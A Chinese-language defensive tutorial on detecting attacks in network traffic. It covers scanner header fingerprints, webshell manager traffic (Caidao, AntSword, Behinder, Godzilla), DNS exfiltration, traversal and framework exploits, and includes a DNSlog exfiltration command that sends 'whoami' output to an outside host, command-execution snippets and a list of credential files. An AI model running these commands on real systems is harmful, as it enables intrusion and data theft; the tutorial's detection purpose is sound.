网络流量分析是指捕捉网络中流动的数据包,并通过查看包内部数据以及进行相关的协议、流量分析、统计等来发现网络运行过程中出现的问题。
流量分析常使用工具
1.wireshark 2.tcpdump(针对数据包进行截取分包工具) 3.RawCap(针对windows开源的软件)
常用流量分析技巧:
1.发现异常 2.指纹识别 3.明文传输 4.图片提取
常见扫描器指纹特征:(出现在header部分)
Awvs:
acunetix_wvs_security_test acunetix
acunetix_wvs acunetix_test
Acunetix-Aspect-Password:Cookie:
acunetix_wvs_security_test X-Forwarded-Host:
acunetix_wvs_security_test X-Forwarder-For:
acunetix_wvs-security_test Host:
acunetix_wvs_security_test
Nessus:
x_forwarded_for:nessus
referer:nessus
host:nessus
Netsparker:
X-Scanner:NetsparkerLocation:
NetsparkerAccept:netsparker/chechCookie:
netsparkerCookie:NETSPARKER
Appscan:
Headers Content-Type:Appscan
Content-Type:AppScanHeader
Accept:Appscan User-Agent:Appscan
sqlmap:
User-Agent:sqlmap1.2.8#stab
若发现包含有这些特征的流量表明网络大概率正在遭受攻击!
wireshark:
(TCP数据包示例)
wireshark的常见过滤规则:
1、过滤源ip,语法:
ip.src == IP 或 ip.src eq IP
2、目的ip:ip.dst == IP或 ip.dst eq IP
3、指定主机ip,源或目的: ip.host == IP或 ip.host eq IP,或者用ip.addr(addr与host作用一样)
可以使用and和or进行筛选
4、端口过滤非常常用,要指明协议是tcp还是udp,可以用srcport,dstport,port,端口可以用比较符合>,>=,
过滤目的端口是80端口的tcp报文
5、协议过滤
只显示TCP报文
只显示HTTP报文
6、过滤HTTP的GET请求和POST请求,以及HTTP过滤内容:
http.request.method == GET
7、过滤HTTP协议的响应包,响应码是200的(contains--内容)
8、跟踪TCP、HTTP流等
流量特征
SQL注入类流量:
SQL 注入类攻击的出现是因为服务器没有对用户输入语句进行有效检验过滤就直接执行而导致
如果是使用工具发起的进攻可以直接通过工具指纹进行判断
若是手工测试则可通过在请求包中查看是否有明显的SQL 查询语句,如 Select、sleep、database()等
命令执行类流量:
远程命令/代码执行漏洞(RCE)是指可以在仅有远程访问权限的情况下执行系统命令的漏洞,是安全漏洞中危害最大的漏洞之一
ASP执行系统命令:
CreateObject("wscript.shell").exec("cmd.exe/c
ipconfig").StdOut.ReadAll%>
常见命令:
dir,ping,whoami,ipconfig,ifconfig,systeminfo等,通过&&或者||符号进行拼接。
PHP系统命令执行函数:
exec()
system()
passthru()
shell_exec()
JSP执行系统命令:
Runtimerun=Runtime.getRuntime();
run.exec("ipconfig");
常见的代码执行函数:
eval() assert() preg_replace() create_function()
array_map() call_user_func() call_user_func_array()
菜刀webshell连接流量:
WebShell的起因一般是一句话木马。
一句话木马:
PHP:
ASP:
ASP.NET:
PageLanguage=“Jscript”%>
目前主流的WebShell管理工具主要有:菜刀 蚁剑 哥斯拉 冰蝎
菜刀数据包流量特征:
1,请求包中:ua头为百度,火狐(弱特征);
2,请求体中存在eavl,base64等特征字符
3,请求体中传递的payload为base64编码,并且存在固定的
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVS
U0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J一
段编码
开头看到base64_基本上就可以判断他是使用的菜刀
蚁剑webshell连接流量:
蚁剑数据包流量特征:
使用普通的一句话都存在以下特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符;使用base64加密的payload,数据包存在base64加密的eval命令执行函数,数据包的payload内容存在几个分段内容,分别都使用base加密,解密后可以看到相关的路径,命令等。响应包的结果返回格式为:随机数 + 响应内容 + 随机数
这张图是base64加密了的。
冰蝎webshell连接流量:
冰蝎2.0
冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。
冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输
(1)第一阶段:密钥协商
攻击者通过GET方式请求服务器密钥:
代码部分如下:
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
服务端用之前生成的密钥进行AES128解密请求的post数据
服务端使用随机数高16位作为密钥,并且存储到会话的$_SESSION变量中,并返回密钥给攻击者
当我们输入命令操作后,请求方式就会变成POST
用分割线生成数组,然后取数组第1位元素的值,最后eval执行
显然它将返回结果也加密了
第一步:协商key》对应session
第二步:使用key AES加密流量
(3)特征总结
a.ACCEPT字段
冰蝎2默认Accept字段的值很特殊,而且每个阶段都一样
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*
b.UA字段
冰蝎内置了十余种 UserAgent ,每次连接 shell 会随机选择一个进行使用。但都是比较老的,容易被
检测到,但是可以在burp中修改ua头。
冰蝎3.0
对比冰蝎2,冰蝎3取消动态密钥获取,目前很多waf等设备都做了冰蝎2的流量特征分析,所以3.0取消了动态密钥获取;只有在无动态密钥交互失败后,才会进入常规的密钥交互阶段。密钥生成可以看出,使用密码的md5结果的前16位
key固定
1、服务器找缓存文件substrate(md5(key),16)
2、服务器找码子
3、枚举key爆破解密AES
数据包加密分析:
当我们去请求连接服务端的php文件时,会在服务端的会话中存储一个$_SESSION变量,也就是密钥$key
然后服务端用生成的密钥去解密请求的POST数据包内容后续的执行代码可以和冰蝎2相同,就不做赘述了
其流量特征:
(1)Accept头有application/xhtml+xmlapplication/xmlapplication/signed-exchange属于弱特征
(2)ua头该特征属于弱特征。通过burp可以修改,冰蝎3.0内置的默认16个userAgent都比较老。现实生活中很少有人使用,所以这个也可以作为waf规则特征
冰蝎4.0
冰蝎v4.0相对于3.0版本,更新了较多内容,其中包括了开放了传输协议的自定义功能
且冰蝎v4.0版本没有再附带server端代码,因为加解密函数是不固定的,因此服务端也是动态生成的
生成木马:点击左上角的传输协议,然后选择default_aes协议,点击生成服务端,即可创建server服务端文件,同时生成木马文件
为了方便加解密一致性校验,冰蝎提供了即时加解密验证功能,输入加解密函数以后,可直接在窗口下方进行验证
点击保存,即可生成服务端的文件里面的木马
流量特征:
(1)Accept字段:
(2)Content-Type字段
(3)User-agent 字段:冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用
哥斯拉webshell连接流量:
添加配置:
哥斯拉是一个基于流量、HTTP全加密的webshell管理工具;
流量特征如下:
DNS外连流量:
实际渗透测试中,有些漏洞因为没有回显导致无法准确判断漏洞是否存在,可能导致渗透测试人员浪费大量精力在一个并不存在的漏洞上,因此为了验证一些无回显漏洞,可以结合DNSlog平台进行测试
存在无回显漏洞的主机访问DNSlog平台就会留下DNS解析记录,可以通过DNS解析记录查看最终的执行结果,如示例中的语句:
ping `whoami`.cp2wj5.dnslog.cn (''是将里面的内容当作命令来进行执行)
此语句实际上是:
ping www-data.yafjqc.dnslog.cn
流量分析:
1、通过wireshark查看DNS流量查看是否有威胁内容
2、查看DNS解析记录通过记录内容进行判断
把命令和访问的域名结合起来打包发送给DNS服 务器
DNS流量在UDP(或TCP)53端口上运行,可以通过53端口上的过滤来提取
1、看有没有携带命令。
2、看他有没有访问恶意域名。
ceye.io ->dnslog平台
asdbj.ceye.io ->个人专用dnslog域名(随机的)
XXXXXX.asndka.ceye.io ->成功外带的数据
通过命令查看本地DNS解析记录缓存:ipconfig /displaydn
其他类型恶意流量:
文件上传流量分析:
一般都是通过web来实现,可以先从http开始筛选。一般都是POST方法,以POST作为筛选条件
http.request.method == POST
观察流量记录,大部分POST请求都在访问一个html文件,而唯独有一个数据帧在对upload文件夹进行访问
uploads(文件上传) 后面()中是文件上传的类型
查看该数据帧,可以看到明显的content type绕过,同时可以根据文件内容进行分析
(利用的文件类型绕过,实际上是一个php文件木马)
基本上看到
拒绝服务流量分析:
目前有很多种类型的拒绝服务攻击方式,其中最为典型的两种是SYN flooding攻击和UDP flooding攻击。SYN flooding攻击是针对TCP协议的,它的主要目的是占用目标上所有可用的连接请求。而UDP flooding攻击则是针对UDP协议的,主要目的是耗尽目标所在网络的带宽。此处以SYN flooding 为例。
SYN flooding攻击和UDP flooding攻击(只发送握手请求不会回应的的握手回应)
左下角限制显示过滤器,勾上后会显示使用显示过滤器过滤后的包
以下为正常的tcp流
syn泛洪攻击的流量,可以看到没有应答的包
目录遍历流量分析:
Linux敏感目录
1,/etc/passwd // 账户信息
2,/etc/shadow // 账户密码文件
3,/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
4,/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
5,/usr/local/app/php5/lib/php.ini // PHP相关配置
6,/etc/httpd/conf/httpd.conf // Apache配置文件
7,/etc/my.conf // mysql 配置文件
Windows敏感目录:
1,c:\boot.ini // 查看系统版本
2,c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
3,c:\windows\repair\sam // 存储Windows系统初次安装的密码
4,c:\ProgramFiles\mysql\my.ini // MySQL配置
5,c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
6,c:\windows\php.ini // php 配置信息
查看数据,追踪HTTP数据流,查看URL中包含../字符,判断此数据包涉及目录遍历漏洞利用过程
(返回你的根目录)
常见框架漏洞及特征:
ThinkPHP 5.x RCE 漏洞
5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
漏洞代码如下:
根据漏洞源码构造payload:
调用$this->{$this->method}($_POST);语句。当我们可以控制$method的值时,就可以调用Request类的任意方法,而当调用构造方法__construct()时,就可以覆盖Request类的任意成员变量,可以覆盖$this->method,指定check()方法中的$method值。
Struts2-009远程代码执行漏洞
漏洞成因:当前版本的action中接受了某个参数example,这个参数将进入OGNL的上下文。我们可以将OGNL表达式放在example参数中,然后使用/ XXXXXXX.acton?example=&(example)(‘xxx’)=1的方法来执行绕过它,从而绕过官方对#、\等特殊字符的防御。
流量特征:GET请求之后拼接域名中包括Struts2、exec等关键字以及OGNL表达式
可以据此构造payload进行重发包
shiro cve-2016-4437框架漏洞
26行默认key值
32行用默认key值对他的密钥进行赋值
解密还是使用的AES解密
特征:Cookie中的rememberMe内容、解密rememberMe可获取异常信息。(Cookie:rememberMe字段说明利用了shiro漏洞)
将rememberMe后的复制去土豆师傅shiro平台进行反编译